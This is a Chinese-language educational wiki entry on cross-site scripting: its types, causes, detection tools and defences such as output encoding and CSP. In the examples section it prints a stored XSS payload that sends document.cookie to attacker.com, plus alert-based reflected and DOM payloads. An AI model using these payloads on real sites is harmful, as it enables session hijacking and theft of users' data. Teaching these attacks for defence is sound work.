Vulnerability-wiki

跨站脚本攻击(XSS)


一、漏洞简介

跨站脚本攻击(Cross-Site Scripting, 简称 XSS) 是指攻击者将恶意脚本注入到网页中,当其他用户浏览时,脚本在受害者的浏览器中被执行,从而达到窃取数据、劫持会话、冒充用户等目的的一种客户端攻击方式。

XSS 属于 前端 Web 安全中的典型漏洞,已被列入 OWASP Top 10 高危漏洞之一。


二、漏洞成因

XSS 漏洞的根本原因在于:

用户提供的数据未经过适当的过滤或转义就被嵌入到网页内容中返回给用户,最终在浏览器中以代码而非数据形式执行。

当应用程序接受用户输入并将其嵌入 HTML 中,而没有对输入内容进行安全处理,就可能触发 XSS。


三、XSS 的类型

类型 描述 攻击特征
存储型(Stored XSS) 恶意脚本被存入数据库或服务器,其他用户访问时触发 例如:留言板、评论系统
反射型(Reflected XSS) 恶意脚本作为请求参数,服务器原样返回并在页面中执行 例如:搜索框、URL 中参数
DOM 型(DOM-based XSS) 恶意数据不经服务器,直接在前端 DOM 中处理导致执行 例如:location.hashinnerHTML 渲染
混合型(Hybrid XSS) 结合 DOM 与服务端处理,逻辑复杂 需要多个组件共同触发

四、攻击流程示意

  1. 攻击者构造恶意脚本 Payload(如 <script> 标签)
  2. 将脚本注入页面(例如评论、URL、表单字段)
  3. 受害者浏览页面时,浏览器解析并执行注入脚本
  4. 脚本可窃取 Cookie、重定向跳转、进行钓鱼、上传恶意数据等

五、攻击示例

1. 存储型 XSS(例如在评论区提交脚本)

<script>fetch('https://attacker.com/steal?cookie=' + document.cookie)</script>

其他用户浏览该页面时即执行,攻击者获取受害者 Cookie。


2. 反射型 XSS(例如 URL 参数拼接)

请求链接:

https://example.com/search?q=<script>alert(1)</script>

后端响应直接回显未过滤的参数:

搜索结果:<script>alert(1)</script>

3. DOM 型 XSS

HTML 代码:

<div id="output"></div>
<script>
  document.getElementById("output").innerHTML = location.hash.substring(1);
</script>

访问链接:

https://example.com/page.html#<img src=x onerror=alert(1)>

结果:DOM 中注入 <img> 并触发 onerror 执行脚本。


六、危害影响

威胁类型 描述
会话劫持 窃取 Cookie(如 document.cookie),冒充用户身份
钓鱼攻击 伪造页面内容,引导用户输入敏感信息
页面篡改 插入假按钮、广告、恶意跳转链接
蠕虫传播 利用 XSS 自动化传播 Payload
后续渗透 可配合 CSRF、CSP 绕过、内网扫描等漏洞进行复合攻击

七、检测方法

1. 手工测试

2. 自动化工具

工具 描述
Burp Suite 拦截请求、爆破 XSS payload、观察响应
XSSer 自动化 XSS 测试框架(支持多类型)
XSStrike 快速检测并 fuzz XSS 漏洞
ZAP Proxy OWASP 提供的开源扫描器
Nikto, Arachni, Wapiti 集成 XSS 检测功能的 Web 扫描器

八、防御方式

安全实践 说明
输出编码(Escaping) 使用 HTML、JS、URL 编码确保数据被视为数据而非脚本
输入校验(Validation) 使用白名单规则限制输入内容
HttpOnly Cookie 设置 Cookie 为 HttpOnly,防止被 JS 读取
CSP(内容安全策略) 通过 HTTP 头控制允许加载/执行的脚本来源
DOM 安全编程 避免使用 innerHTMLdocument.write,改用 textContent
使用框架防护 React、Vue 等前端框架默认有输出转义机制
WAF/过滤器 使用 Web 应用防火墙过滤常见恶意输入

九、参考资料


📝 作者:ahlien 📧 邮箱:mfs24@mails.tsinghua.edu.cn
🏫 单位:Tsinghua University
📅 最后更新时间:2025-07-27